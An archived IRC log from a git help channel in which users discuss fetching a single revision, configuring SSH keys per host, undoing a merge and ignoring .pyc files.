Grum	funkytaco: i'd symlink git into your path for an easy solution	23:01
	hehe yeah ;)	23:01
funkytaco	ok thx	23:01
charon	_Vi: yes what? i just contradicted your statement :)	23:01
Grum	yes you are right charon=)	23:02
_Vi	charon, Yes, it is actually "git-upload-pack", not "git-send-pack". (thinking where have I seen the "send-pack"...)	23:02
charon	send-pack is the client side of receive-pack. makes a bit of sense if you think about it	23:02
	and fetch-pack goes with upload-pack	23:02
_Vi	charon, OK, "send-receive", "fetch-upload". Easy to confuse.	23:03
apeiros_	hm, ok, trying a different explanation: basically what I want is: git clone git://example.com/bar.git && cd bar && git checkout <rev> && rm -rf .git .gitignore .gitmodules	23:03
	→ vvsh joined	23:04
	← squarism left	23:04
Grum	apeiros_: git archive can do that for you	23:04
apeiros_	but cloning a whole git repo just to get the working tree of a single revision seems overkill to me - I'd assume there is a way to do that directly	23:04
Grum	(again providede the remote side can do that :D)	23:04
apeiros_	Grum: yeah, just that git archive is working for 3min already on a small (<500 commits) repo... can't be that that takes so long when the snippet I pasted takes <10s	23:05
Grum	apeiros_: why do you object so against doing a clone? is the repo you have to get that big? or your line that slow? or your traffic so expensive? (just curious :D)	23:05
apeiros_	principle?	23:05
charon	apeiros_: or you can clone --depth 1 (or so)	23:05
	← keex left	23:05
Grum	charon: yeah but he wants $random_rev, not 'last one'	23:05
charon	oh.	23:06
Grum	and just 1 folder, anyhow, again, git archive can do it (if you are allowed from the remote side)	23:06
	← vvsh left	23:07
apeiros_	Grum: but archive tars it up, no?	23:08
Grum	yeah, so untar it on the fly? :P	23:08
apeiros_	meh	23:08
	odd that there's no direct way to do that... seems to me like an obvious use case... "hey, I want to extract version X from project Y and don't care about the repo". no?	23:09
	I mean, sure a git clone is more expensive than that - or is that a wrong assumption?	23:09
_Vi	apeiros_, Usually the whole repository is cloned.	23:09
apeiros_	_Vi: why'd a user who's not interested in the history/development process want to do that? the repo is just unecessary baggage there...	23:10
Grum	apeiros_: git is made for source control, history is useful, so why cater for the odd person just wanting a single file/dir?	23:10
apeiros_	Grum: not a single file/dir	23:10
Grum	apeiros_: then demand a latest.tar.gz from the people who made it	23:10
apeiros_	a single revision from a repo	23:10
Grum	'a single' happens to be 'the last one' ?	23:11
_Vi	apeiros_, If the user uses repository, it is (at least partially) interested in development. For example, it may merge something or get somewhat older/newer version to track the bug.	23:11
apeiros_	a single happens to be a single. in all likeliness a tagged one.	23:11
Grum	apeiros_: then download the tar.gz for that version from wherever they publish their stuff	23:12
apeiros_	_Vi: hu? is the use case I gave so awkward or what?	23:12
Grum	if you look at git, you want the repo as _Vi already says	23:12
	tbh; as clone already has a --depth, it sortof surprises me it doesnt allow you giving a treeish	23:12
_Vi	apeiros_, Why do you need repository if you will not plan to do any development (or neighbor things like testing)?	23:12
apeiros_	_Vi: you're misunderstanding	23:13
	person X has a repo	23:13
	← mjv left	23:13
apeiros_	now N number of persons want whatever version out of that repo	23:13
	person X will continue to use the repo, of course, as he's developing	23:13
Grum	so you clone it all, its not like with sourcecode the repos get much bigger over time	23:13
	usually the clone is smaller than the checkout	23:14
apeiros_	but the N number of users wouldn't care about the repo, they want version X of the project and that's it	23:14
Fatal	why can't he use a tar export? or I should shut up and read the backlog	23:14
_Vi	apeiros_, According to Git model, there are about N copies of repository.	23:14
	← daifuku left	23:14
Grum	Fatal: principle ;)	23:14
	→ imajes joined	23:14
_Vi	apeiros_, If users don't need repository, they ask X for release (in .tar.gz).	23:15
Fatal	Grum: sounds like a silly principle	23:15
apeiros_	uphill battle. I'll go, clone the whole thing, checkout the revision, and throw away all the rest	23:15
_Vi	apeiros_, If some user uses non-release version, it is a bit developer.	23:15
apeiros_	it seems totally stupid to me but it looks as if it's seen as "good practice". whyever.	23:15
_Vi	apeiros_, And a-bit-developer needs a-bit-repository.	23:15
Grum	apeiros_: the cloning is most likely less data transferred than downloading the checkout :p	23:15
apeiros_	_Vi: who said anything about non-release version?	23:16
_Vi	Grum, Compressed checkout?	23:16
Grum	apeiros_: if you really want it, suggest to give a treeish on the mailinglist	23:16
	_Vi: why do that?	23:16
_Vi	apeiros_, Release versions should be available as files.	23:16
Grum	we have git clone already =)	23:16
	← pkw left	23:16
_Vi	apeiros_, (They actually may be generated on-the-fly by git-archive).	23:16
Grum	apeiros_: giving a treeish is not really silly, as it would work really nicely with --depth	23:16
	→ wanders_ joined	23:16
Grum	it would just use another 'checkoutpoint' from 'HEAD' which seems rather trivial to implement	23:16
	← gebi left	23:16
Grum	so please go and suggest it :D	23:17
	← wanders left	23:17
	→ daifuku joined	23:17
apeiros_	Grum, _Vi, charon - thank you all for taking your time. much appreciated :)	23:17
_Vi	apeiros_, If some user uses dev-version, he probably will want to update it.	23:17
	→ ehabkost joined	23:17
_Vi	apeiros_, Updating is much cheaper when you have the clone.	23:18
apeiros_	that assumes the user keeps the clone ;-)	23:18
	← ehabkost left	23:18
_Vi	apeiros_, Yes.	23:18
Grum	tbh, git is all about the repository and its meta info+history; it seems rather silly to bloat it with these specific edgecases	23:18
	→ adac joined	23:19
_Vi	apeiros_, BTW you may share [part of] object database between repositories if the storage space is limited.	23:19
	→ mjv joined	23:19
	← daifuku left	23:19
adac	How can I tell git where the ssh private key on my local machine is when I do a clone like that: 'git clone ssh://git@myhost:myport/my-repo.git'	23:19
Fatal	Grum: you mean git archive? or bloating up gitweb?	23:19
_Vi	adac, "$HOME/.ssh/id_{d,r}sa"	23:19
Grum	bloating git clone to handle 'fast partial transfers and not leaving .git stuff behind'	23:20
	→ lbayle joined	23:20
Fatal	Grum: ick, ok, agreed on that	23:20
adac	_Vi, Well can i give git clone a parameter, mean the path to the file?	23:20
funkytaco	wow, git is the shiz.... :) ... If only I had used it before my laptop and all of my source code and backup drive were stolen :/	23:20
Grum	adac: ~/.ssh/config and add: Host myhost\n\tIdentifyFile ~/.ssh/your.priv.key	23:21
_Vi	adac, You may ask it to start "ssh" with custom parameters. There's "-i" parameter of ssh.	23:21
	→ daifuku joined	23:21
	← tedoc2000 left	23:21
lbayle	hi, I have git merge problems, is this the right place to get help ? http://pastebin.com/d71d14b43	23:21
adac	Grum, _Vi k, I see. Thx!	23:22
Grum	lbayle: mmm the answer depends on what 'git reset' does without arguments :D of which i'm not quite too sure :(	23:22
funkytaco	can git be used to clone websites into two prod and staging?	23:22
Fatal	adac: I use something like #!/bin/sh\nssh -i /other/path/id_rsa "$@" as git_ssh.sh and then GIT_SSH=git_ssh.sh git ...	23:23
funkytaco	I guess I should read up on the branches thing.... :)	23:23
Grum	adac: you could even make it so that you clone from: git:my-repo.git	23:23
_Vi	funkytaco, Yes, it can be uses for that and probably requires special setup.	23:23
funkytaco	ok thanks _Vi	23:23
Grum	by putting the Host/Port/User into your .ssh/config as well	23:23
charon	lbayle: if you had no uncommitted changes at the time you called 'git merge master', you can safely use 'git reset --hard' to destroy all uncommitted modifications left from the merge	23:24
lbayle	charon: ok everything was commited, i'll try reset hard	23:24
Grum	lbayle: read the section: How to resolve conflicts in man git-merge	23:24
	← pkw_ left	23:24
Fatal	adac: yes, my suggestion is bad (and for me it's a cornercase where I use it), you're better of going with grums suggestion with .ssh/config	23:24
Gitbot	lbayle: the git-merge manpage can be found at http://git.or.cz/man/git-merge	23:24
	charon ponders how to efficiently remove the now-untracked files	23:24
lbayle	thanks for the URL	23:25
Grum	lbayle: i think you just need to say: git reset --hard (so it purges the merged index)	23:25
	charon: git clean?	23:25
charon	Grum: sure, but only if he had no other untracked files	23:25
	lbayle: ^	23:25
	← ixti left	23:25
adac	Fatal, Grum actually capistrano makes me some problems, because my git server is another then my application server... The git server uses ssh private key + passphrase, whereas the application server uses only password authentication (ssh). So I'm currently not sure how to set this up. If I leave the key in .ssh like id_rsa, then capistranos git fetching works, but then it takes the id_rsa also an prompts it for my application server	23:25
Grum	adac: you cant really work nicely with password authentication; you should really setup keys	23:26
	← JayM left	23:26
Grum	adac: you would need to define 2 hosts (well they are 2 different hosts already?) and setup an identityfile for each host (again in the .ssh/config)	23:27
	→ bentob0x joined	23:27
adac	Grum, Yes that would be the way to go!	23:27
Grum	adac: at work the githosting box is also our internal development; and because of that i need to use a different user/key to connect to either git or the box itself	23:28
	← daifuku left	23:28
Grum	adac: so i made 2 Host entries in ssh/config named differently, setting up the different properties and just ssh to the alias you made there and it resolves itself :)	23:28
adac	Grum, That is how I made it too. Git is a own user with own authentication then the 'box' user	23:29
	Grum, true :)	23:29
	→ daifuku joined	23:29
Grum	just some ssh magic which git then uses =)	23:29
adac	Grum, I guess I should write your suggestion down and go to bed. :) Seems getting already to late for me ;)	23:30
Grum	adac: 'git clone ssh://git@myhost:myport/my-repo.git' can be changed to simply: 'git clone git:my-repo.git'	23:30
	by setting up your sshconfig	23:30
adac	Grum, I see!	23:31
Grum	benefits everywhere! =D	23:31
adac	Grum, :)	23:32
	← eut left	23:34
adac	k guys I'ts already late. Good night fellows	23:34
	Grum, thx for your help!	23:34
	ruediger_ → ruediger	23:35
	← adac left	23:35
	← catalis left	23:38
	→ JayM joined	23:39
	← anno^da left	23:40
	← sako left	23:41
	← funkytaco left	23:41
	→ sumangurung joined	23:44
	← daifuku left	23:45
	→ vbgunz joined	23:45
	← d0ugal left	23:46
	→ rudi_s joined	23:47
	→ daifuku joined	23:47
	← project2501a left	23:47
	← pantsman left	23:48
	→ catalis joined	23:48
	→ sako joined	23:52
	← schierbeck left	23:52
	← sumangurung left	23:52
	← Pata left	23:54
	← pheaver left	23:54
	→ pheaver joined	23:55
	→ ereslibre_laptop joined	23:56
	→ osmosis joined	23:56
	← apeiros_ left	23:56
osmosis	how do I exclude all .pyc files from being included in my git repository?	23:58
_Vi	osmosis, "*.pyc" to .gitignore.	23:58
SeveredCross	echo "*.pyc" > .gitignore I believe.	23:58
osmosis	cool	23:58
SeveredCross	Maybe >> instead of >	23:59
	← catalis left	23:59
osmosis	is that needed in every directory?	23:59
bob2	no	23:59
	just the root	23:59
osmosis	wow, that right there was worth switching from svn	23:59

Logs Search ←Prev date Next date→

Channels Documentation